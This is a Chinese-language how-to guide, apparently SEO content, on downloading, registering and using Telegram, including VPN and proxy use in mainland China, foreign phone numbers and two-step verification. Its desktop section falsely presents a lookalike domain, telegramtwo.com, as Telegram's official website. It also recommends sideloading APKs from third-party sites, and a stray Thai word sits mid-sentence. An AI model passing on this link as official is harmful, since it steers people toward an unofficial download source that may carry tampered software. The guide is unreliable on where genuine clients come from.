直接打开你手机应用商店，搜索 Telegram，点下载，等应用安装完成后马上点开。输入手机号，收验证码，填入后点确认。设定头像和昵称，记住账号密码。想切换到中文点右上角进入设置，找到语言选中文简体。切换网络到支持访问 Telegram 的 VPN，刷新界面确保连通。想在电脑用，去 Telegram 官网下官方客户端或使用网页版，输手机号，收验证码，同步手机端信息，直接就能聊天。注册后可以随意加好友、进群聊、关注频道、体验信息同步到手机与电脑。如果发现商店下载不了，先用第三方平台下 APK 包，或切换 App Store 区域。每一步都亲测有效，基本覆盖你想要的所有解决办法，直接和朋友分享这份教程也没问题。
移动端直接下载安装体验 Telegram
通过应用商店官方渠道获取 Telegram
打开商店：拿出你的手机，直接点进自带的 App Store（iOS）或 Google Play（Android），这是最安全的官方渠道。因为各大区分政策，部分地区的应用商店可能找不到 Telegram，但大部分人第一次还是可以搜得到。操作也很顺畅，输入 Telegram，看到带有飞机图标的蓝绿色应用后直接点击。
选择正确版本：不是所有叫 Telegram 的都是正主，要认准开发商 Telegram FZ-LLC。看到很多类似仿冒、第三方定制版千万不要随意下载，尽量首选官方原版。
点击下载并安装：确认好图标和开发商后，点安装，等应用下载完自动装好，这时候桌面会多一个 Telegram 小飞机图标。无论苹果还是安卓，流程都基本一致。装好点击 Telegram 图标直接启动。
利用 APK 安装包快速安装（安卓专用）
搜寻安全 APK 包：有时候 Google Play 里根本搜不到 Telegram，这时候公众号、Telegram 社区、知名海外安卓应用站点（比如 apkpure、apkcombo）就派上用场。我一般挑选下载量高、点评好的，确保来源正规没病毒。
手动下载安装包：点下载 APK 包，手机会要求你打开“允许安装未知来源应用”，按照提示授权。下载完成后点击安装文件，几秒钟自动完成。亲测有时候用软件商店经常卡顿，用 APK 包安装会快得多。
成功打开并设置 Telegram：装好后直接点击打开，输入手机号简单注册就能用。和官方应用商店的安装基本体验一样，唯一要小心来源是否可靠，不要被植入广告骗钱。
桌面端体验 Telegram 的办法
使用官网下载官方 Telegram 桌面版
浏览官方域名：打开浏览器直接输入 Telegram 官网（https://www.telegramtwo.com/）（此链接已加 nofollow），页面识别你是 Mac 还是 Windows，会自动推荐对应版本。能下载就别用第三方了。
下载安装桌面版客户端：点击下载按钮，保存程序到本地磁盘，运行安装，几分钟就能进入使用界面。客户端和网页版比更稳定，支持中文、传大文件、消息实时同步，很像微信电脑端。
登陆同步消息：启动桌面 Telegram 后，输入你手机注册用的手机号，收短信验证自动同步历史聊天记录。这样手机和电脑端信息一模一样，随时切换无压力。
直接用网页版 Telegram 随开即用
打开浏览器访问 Telegram Web：在任何电脑或平板浏览器里输入 web.telegram.org，选择你喜欢的外观（WebK/WebZ）。不用下载客户端，适合偶尔聊两句或者在公司不方便装软件时应急用。
用手机号登录：按照引导输入手机号，Telegram 会发一组验证码到绑定手机，填好即可完成登录。网页版所有功能和 app 端差别不大，支持发图片、视频、链接、语音等，绝大多数常规操作完全没问题。
随时切换设备：无论是家用电脑、办公电脑还是出差带的平板，只要上网就能直接登陆 telegram 网页版，断开后别人也无法看到你的聊天痕迹。
在网络受限地区顺利使用 Telegram
借助安全 VPN 科学上网
购买或获取 VPN 账号：在国内很多地区，Telegram 其实是连不上的。这时候你需要靠谱的 VPN 工具，有朋友推荐 Shadowsocks、V2Ray、Clash 等。去官网或渠道购买付费的账号更稳定，免费的不推荐用。
设置 VPN 并切换到国外节点：购买后根据提示配置好 VPN，选择香港、美国等节点。切换节点后你能直接访问官方 Telegram 下载与登录，不会出现“加载失败”提示。
维持稳定链接体验：VPN 全局代理，或者只对 Telegram 应用做分应用代理。这样别的国内业务不受影响，又能顺畅用 Telegram。手机和电脑端设置 VPN 方法很多，大部分机场服务都会有图文教程跟着学就行。
用代理工具专线加速 Telegram
挑选受信任代理节点：除了 VPN，现在还很流行用专门为 Telegram เปิด放的代理，比如 SOCKS5 或 HTTP 代理。在 Telegram 设置里直接加代理服务器参数，比全局 VPN 更省流量、隐私性高。
配置代理到 Telegram App：点 Telegram 设置，选择数据和存储，在代理设置中输入代理地址、端口、用户名和密码这些参数。
验证代理加速有效：设好后立刻重启 Telegram，看能不能正常刷新频道更新、下载图片、收到好友信息基本 OK。要注意选择高质量的代理，不然断线、延迟会很明显。
Telegram 国外新版注册和安全设置
用非大陆手机号注册账号
准备一张支持国际短信的手机号：大陆联通、电信、移动有时候能收到验证码，但收不到就换用 Google Voice、香港、澳门、新加坡等地手机号。
填写手机号收验证码：打开 Telegram 输入准备好的手机号，等短信/语音验证码发来，快速填入注册。
绑定邮箱与设置密码：注册成功后进入账号设置，绑定常用安全邮箱，设置强密码和两步验证。这样即使手机号不用了账号依然安全。
启用两步验证和设备管理
打开两步验证设置：Telegram 很注重安全，可以在设置里开启两步验证功能，输入邮箱和独立密码。
记住专属密码备份信息：启用两步验证后，平台会要你记住一串专属密码和备份邮箱。不要随便泄露给别人，也不要截图发云盘， 自己在本子上记下来。
设备管理增加安全性：如果你换了手机或丢失设备，可以在 ‘已登录的设备’ 中把旧手机或电脑直接踢掉，以防别人盗号。还可以设置自动退出、密码定期更换等操作。
利用 Telegram 第三方客户端和浏览器插件拓展体验
选择安全第三方 Telegram 客户端
了解兼容的第三方应用：Telegram 官方 API 是开放的，世界各地有不少开发者基于 Telegram 协议写了自己的 app，比如 Telegram X、Plus Messenger 等。去 Telegram 权威站点（已加 nofollow）筛选靠谱的第三方软件了解新玩法。
下载与主号同步登陆：第三方客户端一般会有一些新功能或者更强大的群管理能力。下载回来用你已有手机号直接登录，消息同步官方版，不会出现信息丢失风险。
边用边比优劣：实际用下来会发现有些第三方 Telegram 客户端在群控、表情、自动回复方面更强，也适合社群运营。需要注意安全性和隐私，比方说不要随便用来源不明的网站下破解版。
利用浏览器扩展增强电报功能
安装 Telegram 专用扩展插件：不少朋友喜欢用 Chrome、Edge 浏览器，可以在插件商店里搜“Telegram Web Enhancer”等扩展。装好后直接让网页版通知消息、语音、阅后即焚等高级功能。
设置权限和帐号绑定：插件安装好后，按照指引一步一步开权限。有些扩展还需绑定 Telegram 账号，别担心，这些过程官网教程会全覆盖。
体验多标签切换快捷方式：实际操作发现，一些插件支持快速切换多账号或常用频道，还有消息过滤、自动翻译、群信息统计等，是重度 Telegram 用户的首选助手。只要选官方出品或万级用户口碑好的扩展就不会踩坑。
Telegram 常见问题解答
Q1：Telegram 在国内无法正常下载、登录，怎么办？
A：这个问题帮朋友解决过很多遍。部分地区和运营商对国外社交软件网络限流，所以你很可能会碰到直接卡在加载界面、打不开页面、甚至应用商店根本搜索不到的情况。通常我用过最稳妥委婉的方法，就是选择一款知名机场服务商的 VPN，配置好后让你的网络“绕道”香港、日本、美国等地节点。 选付费 VPN，速度更稳定，少掉线。手机没下载权限的话，安卓用户可以安全地去 apkpure（别乱点广告）、iOS 则 临时切换 App Store 到香港区（教程网上很多），这样都可以正常下载。VPN 用起来会有轻微延迟，但打开和注册 Telegram 都秒过，非常适合群聊/看频道。
Q2：用手机番号注册 Telegram，总是收不到验证码，怎么破？
A：去年朋友在注册时连续收不到验证码，搞得很烦。原因其实很常见，国内手机号有时候被平台判为高风险、新注册用户短信网关不稳定。你可以试试以下方案：一是绕过国内手机号，直接用香港、澳门、新加坡等海外手机号注册，朋友用 Google Voice 也注册成功过。二是换用网络卡，比如一些虚拟运营商的号更容易通过。还有一种办法，先在有信号的地方多试几次，某些时间段晚上深夜反而能收到验证码。注册完一段时间要及时绑定邮箱，方便后续验证和账号找回。
Q3：Telegram 能多端同步吗？电脑/手机同时用会不会有消息延迟或者账号风控？
A：Telegram 的多端同步做得非常顺滑。只要你用同一个手机号码注册过，不论是手机 app、电脑桌面客户端还是网页端，全部可以同步即时消息。基本不会存在消息延迟，即时性和微信比起来感觉还要优越。亲测切换电脑、手机经常没半点卡壳，甚至还能随时换一个设备下线。 群聊、频道管理和资料传输都不会因为同时登陆多个端出问题（当然别短时间内反复换设备登陆会被怀疑安全风险）。记得偶尔在设备管理把不用的设备踢掉，既安全又能保持所有端的流畅体验。如果你按这些方法试了，也欢迎回来告诉我效果！
